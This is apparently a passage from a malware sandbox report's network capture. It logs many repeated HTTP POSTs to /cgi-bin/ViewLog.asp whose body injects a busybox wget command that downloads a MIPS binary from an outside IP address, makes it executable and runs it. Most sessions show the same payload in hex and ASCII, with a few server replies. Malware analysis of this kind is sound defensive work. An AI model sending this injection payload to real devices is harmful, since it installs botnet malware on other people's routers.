                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:43.128618002 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:47.992424965 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:57.720187902 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                637192.168.2.155797431.136.71.1158080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:38.748898983 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:39.352663994 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:40.568738937 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:43.128595114 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:47.992427111 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:57.720186949 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                638192.168.2.1534776157.52.219.21023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:38.759710073 CET233INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 32 20 32 30 3a 32 30 3a 33 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e 0d 0a 0d 0a 0d 0a
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-22 20:20:31Auth Result: Invalid user.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                639192.168.2.154257494.120.17.138080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:38.770097017 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                640192.168.2.153822494.120.160.458080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:38.777956009 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                641192.168.2.155618031.200.118.2388080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:38.783809900 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                642192.168.2.155444095.9.181.118080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:39.031776905 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                643192.168.2.1534816157.52.219.21023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:39.070739985 CET233INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 32 20 32 30 3a 32 30 3a 33 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e 0d 0a 0d 0a 0d 0a
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-22 20:20:31Auth Result: Invalid user.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                644192.168.2.1534832157.52.219.21023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:39.388760090 CET233INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 32 20 32 30 3a 32 30 3a 33 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e 0d 0a 0d 0a 0d 0a
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-22 20:20:32Auth Result: Invalid user.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                645192.168.2.154231631.136.95.2008080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:39.705022097 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:40.280622005 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:41.400594950 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:43.640551090 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:48.248409033 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:57.208158970 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:15.895669937 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                646192.168.2.1534842157.52.219.21023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:39.711605072 CET233INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 32 20 32 30 3a 32 30 3a 33 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e 0d 0a 0d 0a 0d 0a
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-22 20:20:32Auth Result: Invalid user.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                647192.168.2.153539694.46.169.1678080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:39.858839035 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:40.430016994 CET427INHTTP/1.1 301 Moved Permanently
                                                Date: Thu, 23 Nov 2023 04:22:39 GMT
                                                Server: Apache
                                                X-Powered-By: PHP/7.4.33
                                                Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                Cache-Control: no-cache, must-revalidate, max-age=0
                                                X-Redirect-By: WordPress
                                                Location: http://192.168.0.14/cgi-bin/ViewLog.asp
                                                Content-Length: 0
                                                Connection: close
                                                Content-Type: text/html; charset=UTF-8


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                648192.168.2.153595495.216.213.2078080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:39.860435963 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:40.057163000 CET113INHTTP/1.1 400 Bad Request
                                                Connection: close


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                649192.168.2.154855494.187.118.2268080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:39.883800030 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
